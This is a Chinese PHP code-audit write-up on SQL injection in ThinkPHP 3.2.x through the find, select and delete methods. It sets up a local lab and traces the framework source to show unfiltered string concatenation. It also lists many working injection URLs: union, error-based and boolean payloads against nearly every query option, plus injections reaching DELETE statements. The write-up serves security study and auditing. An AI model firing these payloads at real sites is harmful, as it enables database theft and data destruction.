PHP代码审计—ThinkPHP3.2.X_find_select_delete注入(2018-08-23)
环境搭建
下载:ThinkPHP3.2.3完整版 - ThinkPHP框架
数据库配置
创建数据库thinkphp,表为user,含有三个字段id,username,pass
修改Application\Common\Conf\config.php配置文件,添加数据库配置信息
<?php
return array(
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'thinkphp', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'root', // 密码
'DB_PORT' => '3306', // 端口
'DB_PREFIX' => '', // 数据库表前缀
'DB_PARAMS' => array(), // 数据库连接参数
'DB_DEBUG' => TRUE, // 数据库调试模式 开启后可以记录SQL日志
'DB_FIELDS_CACHE' => true, // 启用字段缓存
'DB_CHARSET' => 'utf8', // 数据库编码默认采用utf8
'DB_DEPLOY_TYPE' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'DB_RW_SEPARATE' => false, // 数据库读写是否分离 主从式有效
'DB_MASTER_NUM' => 1, // 读写分离后 主服务器数量
'DB_SLAVE_NO' => '', // 指定从服务器序号
);
数据库测试
在thinkphp32\Application\Home\Controller\IndexController.class.php 创建函数,内容如下:
public function test(){
$data = M('users')->where('id=1')->select();
var_dump($data);
}
浏览器访问测试:
http://127.0.0.1/index.php/Home/Index/test
http://127.0.0.1/index.php?m=Home&c=index&a=test
http://127.0.0.1/index.php?s=/Home/index/test
select/find
在thinkphp32\Application\Home\Controller\IndexController.class.php 创建函数,内容如下:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
}
public function test(){
$id = I(id);
$data = M('users')->select($id);
var_dump($data);
}
}
payload
where
#第一种payload
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[where]=1=1 union select 1,2,user() %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[where]=extractvalue(0x7e,concat(0x7e,user())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[where]=1=1 %23
#第二种payload
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[where][_string]=1=1) union select 1,2,user() %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[where][_string]=extractvalue(0x7e,concat(0x7e,user()))) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[where][_string]=1=1) %23
field
#注:请保证以,为分割payload,保证分割得到的每一部分均含有至少一个空格(或其他parseKey中匹配的字符),否则该部分会被一对`包裹;并且需要知道目标数据库中至少1个数据表
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[field]=1 from users union select user()%23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[field]=1 , extractvalue(0x7e, concat(0x7e, user())) from users %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[field]=* from users where 1=1 %23
table
# 注:请保证以,为分割payload,保证分割得到的每一部分均含有至少一个空格(或其他parseKey中匹配的字符),否则该部分会被一对`包裹;
# 并且需要知道目标数据库中至少1个数据表
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[table]=users union select 1,2,user() %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&?id[table]=users where extractvalue(0x7e, concat(0x7e, user())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[table]=users where 1=1 %23
join
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[join][]=union select 1,2 %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[join][]=where extractvalue(0x7e,concat(0x7e,user())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[join][]=where 1=1 %23
force
#注:审计环境设置的索引为字段id,使用payload时请修改为对应的索引,在未知索引或不存在索引的情况下无法使用
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[force]=id) union select 1,2,user() %23
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[force]=id) where extractvalue(0x7e,concat(0x7e,version())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[force]=id) where 1=1 %23
group
#注:需要已知所查数据表中任意一字段名
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[group]=id union select 1,2,user() %23
having
#注:需要已知所查数据表中任意一字段名
#联合查询
http://127.0.0.1/index.php?s=/Home/index/test&id[having]=id union select 1,2,user() %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[having]=1=1 %23
order
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[order]=extractvalue(0x7e,concat(0x7e,version())) %23
#逻辑判断
http://127.0.0.1/index.php?s=/Home/index/test&id[order]=1=1 %23
limit
#限于5.0.0< MySQL <5.6.6版本才能使用
#报错
http://127.0.0.1/index.php?s=/Home/index/test&id[page][]=1&id[page][]=1 procedure analyse(extractvalue(0x7e,concat(0x7e, version())),number) %23
alias
http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
漏洞分析
首先用 I
方法获取id的值,跟进I
方法,过滤方式 filter 默认为 DEFAULT_FILTER ,对应值为htmlspecialchars。
$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
然后判断传入的参数是不是数组,使用filter对应的方法处理一边,但是因为默认为htmlspecialchars,对其值进行实体编码,所以并没什么影响
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
然后在380行进行了强制类型转换,默认为字符型,所以也没影响
if(!empty($type)){
switch(strtolower($type)){
case 'a': // 数组
$data = (array)$data;
break;
case 'd': // 数字
$data = (int)$data;
break;
case 'f': // 浮点
$data = (float)$data;
break;
case 'b': // 布尔
$data = (boolean)$data;
break;
case 's': // 字符串
default:
$data = (string)$data;
}
}
最后在402行,如果传值为数组时,会进行正则过滤
is_array($data) && array_walk_recursive($data,'think_filter');
但是这里的过滤关键字并不针对SQL注入漏洞,可以轻易饶过
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
然后再看select函数的内部实现
当$options
为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段
if(is_string($options) || is_numeric($options)) {
// 根据主键查询
if(strpos($options,',')) {
$where[$pk] = array('IN',$options);
}else{
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
满足$options
和 $pk
主键同时为数组时,进入根据复合主键查询,但这个对于表只设置一个主键的时候不成立。
elseif (is_array($options) && (count($options) > 0) && is_array($pk))
如果 $options
为 false , 用于子查询 不查询只返回SQL
elseif(false === $options){ // 用于子查询 不查询只返回SQL
$options['fetch_sql'] = true;
}
那么就可以使$options
为数组,同时找到一个表只有一个主键,就可以绕过三次判断,直接进入_parseOptions
进行解析。
然后看表达式分析 _parseOptions
方法
$options
我们可控,那么就可以控制为数组类型,传入$options['table']
或$options['alias']
等等,都没有进行过滤
传入$options['where']
时,设置$options['where']
的值为字符串,即可绕过字段类型的验证。
protected function _parseOptions($options=array()) {
if(is_array($options))
////当$options为数组的时候 直接与 $this->options 数组进行 合并
$options = array_merge($this->options,$options);
if(!isset($options['table'])){
// 自动获取表名
$options['table'] = $this->getTableName();
$fields = $this->fields;
}else{
// 指定数据表 则重新获取字段列表 但不支持类型检测
$fields = $this->getDbFields();
}
// 数据表别名
if(!empty($options['alias'])) {
$options['table'] .= ' '.$options['alias']; //直接进行了拼接
}
// 记录操作的模型名称
$options['model'] = $this->name;
// 字段类型验证, 如果不设置where,或者设置为字符串,这里即可绕过
if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
// 对数组查询条件进行字段类型检查
foreach ($options['where'] as $key=>$val){
$key = trim($key);
if(in_array($key,$fields,true)){
if(is_scalar($val)) {
$this->_parseType($options['where'],$key);
}
}elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
if(!empty($this->options['strict'])){
E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
}
unset($options['where'][$key]);
}
}
}
// 查询过后清空sql表达式组装 避免影响下次查询
$this->options = array();
// 表达式过滤
$this->_options_filter($options);
return $options;
}
然后返回,ThinkPHP\Library\Think\Model.class.php
$options = $this->_parseOptions($options);
....
// 重点关注
$resultSet = $this->db->select($options);
跟进 options)
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);// 生成执行sql语句
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);// 执行sql语句
return $result;
}
跟进sql语句构建函数 buildSelectSql
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {
// 根据页数计算limit,分页控制,这里强制转换成整数了,无法利用
list($page,$listRows) = $options['page'];
$page = $page>0 ? $page : 1;
$listRows= $listRows>0 ? $listRows : (is_numeric($options['limit'])?$options['limit']:20);
$offset = $listRows*($page-1);
$options['limit'] = $offset.','.$listRows;
}
$sql = $this->parseSql($this->selectSql,$options);
return $sql;
}
继续跟进 parseSql
方法
public function parseSql($sql,$options=array()){
$sql = str_replace(
array('%TABLE%','%DISTINCT%','%FIELD%','%JOIN%','%WHERE%','%GROUP%','%HAVING%','%ORDER%','%LIMIT%','%UNION%','%LOCK%','%COMMENT%','%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct'])?$options['distinct']:false),
$this->parseField(!empty($options['field'])?$options['field']:'*'),
$this->parseJoin(!empty($options['join'])?$options['join']:''),
$this->parseWhere(!empty($options['where'])?$options['where']:''),
$this->parseGroup(!empty($options['group'])?$options['group']:''),
$this->parseHaving(!empty($options['having'])?$options['having']:''),
$this->parseOrder(!empty($options['order'])?$options['order']:''),
$this->parseLimit(!empty($options['limit'])?$options['limit']:''),
$this->parseUnion(!empty($options['union'])?$options['union']:''),
$this->parseLock(isset($options['lock'])?$options['lock']:false),
$this->parseComment(!empty($options['comment'])?$options['comment']:''),
$this->parseForce(!empty($options['force'])?$options['force']:'')
),$sql);
return $sql;
}
这里对SQL模板语句进行替换, 皆未进行替换。
以where部分为例,parseWhere
方法
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
......
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key = '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
......
}
}
}
当where部分为字符串时,直接进行了拼接,所以最简单粗暴的就直接构造
http://127.0.0.1/index.php?s=/Home/index/test&id[where]=0 union select 1,2,user() %23
当where部分为 数组表达式时,遍历数组key、value值,当key以_开头时进入特殊表达式解析函数parseThinkWhere
protected function parseThinkWhere($key,$val) {
$whereStr = '';
switch($key) {
case '_string':
// 字符串模式查询条件
$whereStr = $val;
break;
case '_complex':
// 复合查询条件
$whereStr = substr($this->parseWhere($val),6);
break;
case '_query':
// 字符串模式查询条件
parse_str($val,$where);
if(isset($where['_logic'])) {
$op = ' '.strtoupper($where['_logic']).' ';
unset($where['_logic']);
}else{
$op = ' AND ';
}
$array = array();
foreach ($where as $field=>$data)
$array[] = $this->parseKey($field).' = '.$this->parseValue($data);
$whereStr = implode($op,$array);
break;
}
return '( '.$whereStr.' )';
}
可以看到,当$key
为 _string
时,直接将 $val
复制给 $whereStr
最后 拼接在了一对 括号 里面返回,所以这里又有了另外一种payload
http://127.0.0.1/index.php?s=/Home/index/test&id[where][_string]=0) union select 1,2,user() %23
delete
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
}
public function test(){
$id = I(id);
$data = M('users')->delete($id);
var_dump($data);
}
}
payload
table部分
#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]= &id[table]=users where extractvalue(0x7e, concat(0x7e, version())) %23
#逻辑判断
http://192.168.1.8/index.php?s=/Home/index/test&id[where]= &id[table]=users where 1=1 %23
where部分
#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=extractvalue(0x7e,concat(0x7e,version()))
#逻辑判断
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=1=1
order部分
#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=1!=1&id[order]=extractvalue(0x7e, concat(0x7e, version())) %23
#逻辑判断
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=1!=1&id[order]=1=1 %23
limit部分
#限于5.0.0< MySQL <5.6.6版本才能使用
#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=1!=1&id[order]=extractvalue(0x7e, concat(0x7e, version())) %23
comment部分
#报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]= &id[comment]=*/extractvalue(0x7e,concat(0x7e, version())) %23
#逻辑判断
http://192.168.1.8/index.php?s=/Home/index/test&id[where]= &id[comment]=*/1=1 %23
漏洞分析
delete
函数和select/find
函数类似,直接进入 delete
函数
在解析完$options
之后,还对$options['where']
判断了一下是否为空,
所以where
需要我们传一下值
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
......
$result = $this->db->delete($options);
......
然后跟进 $this->db->delete($options)
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
在跟进到 parseWhere
protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
.....
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}
最终在前面拼接了 WHERE
直接返回,无任何过滤
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=extractvalue(0x7e,concat(0x7e,version()))
如何在table部分注入,需要吧parseWhere
方法里面最后拼接的 WHERE
给注释掉,否早语法报错
http://192.168.1.8/index.php?s=/Home/index/test&id[where]=123&id[table]=users where extractvalue(0x7e, concat(0x7e, version())) %23
// 最终拼接的语句
DELETE FROM users where extractvalue(0x7e,concat(0x7e,version())) # WHERE 123
参考文章
ThinkPHP3.2.3代码审计 - Article_kelp - 博客园
thinkphp3.2_find_select_delete注入 - 先知社区